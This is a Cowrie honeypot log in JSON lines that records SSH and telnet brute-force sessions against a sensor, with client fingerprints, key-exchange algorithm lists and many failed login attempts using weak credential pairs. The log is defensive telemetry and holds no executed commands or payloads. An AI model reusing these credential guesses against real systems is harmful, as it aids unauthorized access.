"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:53:55.095114Z","src_ip":"159.203.92.129","session":"e9a97a93e231","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"DATASET_PUBLIC","password":"DATASET_PUBLIC","message":"login attempt [DATASET_PUBLIC/DATASET_PUBLIC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:53:55.105866Z","src_ip":"159.203.92.129","session":"e9a97a93e231","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:53:56.113163Z","src_ip":"159.203.92.129","session":"e9a97a93e231","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.128.141.94","src_port":33872,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad3e2a17283f","protocol":"telnet","message":"New connection: 66.128.141.94:33872 (159.203.135.109:23) [session: ad3e2a17283f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:54:06.817152Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.128.141.94","src_port":24535,"dst_ip":"159.203.135.109","dst_port":23,"session":"008e4fbdc834","protocol":"telnet","message":"New connection: 66.128.141.94:24535 (159.203.135.109:23) [session: 008e4fbdc834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:54:10.830106Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":38746,"dst_ip":"159.203.135.109","dst_port":22,"session":"84fd93eb1f8c","protocol":"ssh","message":"New connection: 80.94.92.186:38746 (159.203.135.109:22) [session: 84fd93eb1f8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:54:12.328368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:54:12.370225Z","src_ip":"80.94.92.186","session":"84fd93eb1f8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:54:12.538958Z","src_ip":"80.94.92.186","session":"84fd93eb1f8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solr","password":"solr","message":"login attempt [solr/solr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:54:13.296185Z","src_ip":"80.94.92.186","session":"84fd93eb1f8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.128.141.94","src_port":43603,"dst_ip":"159.203.135.109","dst_port":23,"session":"baa8f234bbc6","protocol":"telnet","message":"New connection: 66.128.141.94:43603 (159.203.135.109:23) [session: baa8f234bbc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:54:13.979406Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:54:14.407579Z","src_ip":"80.94.92.186","session":"84fd93eb1f8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":15462,"dst_ip":"159.203.135.109","dst_port":22,"session":"896da19ac778","protocol":"ssh","message":"New connection: 213.209.159.159:15462 (159.203.135.109:22) [session: 896da19ac778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:54:39.234154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:54:39.238711Z","src_ip":"213.209.159.159","session":"896da19ac778","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:54:39.320333Z","src_ip":"213.209.159.159","session":"896da19ac778","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55670,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a6e079a88a1","protocol":"ssh","message":"New connection: 159.203.92.129:55670 (159.203.135.109:22) [session: 6a6e079a88a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:54:39.631167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:54:39.635475Z","src_ip":"159.203.92.129","session":"6a6e079a88a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:54:39.642946Z","src_ip":"159.203.92.129","session":"6a6e079a88a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"DATASET_PUBLIC","password":"DATASET_PUBLIC123","message":"login attempt [DATASET_PUBLIC/DATASET_PUBLIC123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:54:39.655129Z","src_ip":"159.203.92.129","session":"6a6e079a88a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chiara","password":"chiara","message":"login attempt [chiara/chiara] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:54:39.729650Z","src_ip":"213.209.159.159","session":"896da19ac778","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:54:40.661147Z","src_ip":"159.203.92.129","session":"6a6e079a88a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chiara","password":"chiara1","message":"login attempt [chiara/chiara1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:54:40.813850Z","src_ip":"213.209.159.159","session":"896da19ac778","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chiara","password":"chiara123","message":"login attempt [chiara/chiara123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:54:41.898776Z","src_ip":"213.209.159.159","session":"896da19ac778","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chiara","password":"chiara1234","message":"login attempt [chiara/chiara1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:54:42.984364Z","src_ip":"213.209.159.159","session":"896da19ac778","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chiara","password":"chiara12345","message":"login attempt [chiara/chiara12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:54:44.068945Z","src_ip":"213.209.159.159","session":"896da19ac778","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:54:45.154220Z","src_ip":"213.209.159.159","session":"896da19ac778","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35008,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e980d29135f","protocol":"ssh","message":"New connection: 159.203.92.129:35008 (159.203.135.109:22) [session: 4e980d29135f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:55:24.644913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:55:24.689637Z","src_ip":"159.203.92.129","session":"4e980d29135f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:55:24.693377Z","src_ip":"159.203.92.129","session":"4e980d29135f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"DELL","password":"123456","message":"login attempt [DELL/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:55:24.881089Z","src_ip":"159.203.92.129","session":"4e980d29135f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:55:25.891397Z","src_ip":"159.203.92.129","session":"4e980d29135f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.68.78.191","src_port":47574,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0651ffbd710","protocol":"telnet","message":"New connection: 102.68.78.191:47574 (10.17.0.5:23) [session: f0651ffbd710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:55:38.389966Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":43318,"dst_ip":"159.203.135.109","dst_port":22,"session":"35fc4b04ad0d","protocol":"ssh","message":"New connection: 2.57.122.238:43318 (159.203.135.109:22) [session: 35fc4b04ad0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:55:38.642226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:55:38.649411Z","src_ip":"2.57.122.238","session":"35fc4b04ad0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:55:38.755467Z","src_ip":"2.57.122.238","session":"35fc4b04ad0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:55:39.072029Z","src_ip":"2.57.122.238","session":"35fc4b04ad0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:55:40.181155Z","src_ip":"2.57.122.238","session":"35fc4b04ad0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.11010456085205,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:55:51.499951Z","src_ip":"102.68.78.191","session":"f0651ffbd710","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01272630691528,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:56:06.829738Z","src_ip":"66.128.141.94","session":"ad3e2a17283f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46610,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d0702252040","protocol":"ssh","message":"New connection: 159.203.92.129:46610 (159.203.135.109:22) [session: 7d0702252040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:56:09.160988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:56:09.165046Z","src_ip":"159.203.92.129","session":"7d0702252040","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:56:09.168907Z","src_ip":"159.203.92.129","session":"7d0702252040","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"DJ","password":"123456","message":"login attempt [DJ/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:56:09.178804Z","src_ip":"159.203.92.129","session":"7d0702252040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:56:10.185126Z","src_ip":"159.203.92.129","session":"7d0702252040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00130438804626,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:56:10.831287Z","src_ip":"66.128.141.94","session":"008e4fbdc834","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00327515602112,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:56:13.982553Z","src_ip":"66.128.141.94","session":"baa8f234bbc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.91.68","src_port":60052,"dst_ip":"159.203.135.109","dst_port":23,"session":"c46109a90656","protocol":"telnet","message":"New connection: 103.216.91.68:60052 (159.203.135.109:23) [session: c46109a90656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:56:14.166291Z"}
{"eventid":"cowrie.session.closed","duration":12.915872812271118,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:56:27.082042Z","src_ip":"103.216.91.68","session":"c46109a90656","protocol":"telnet"}
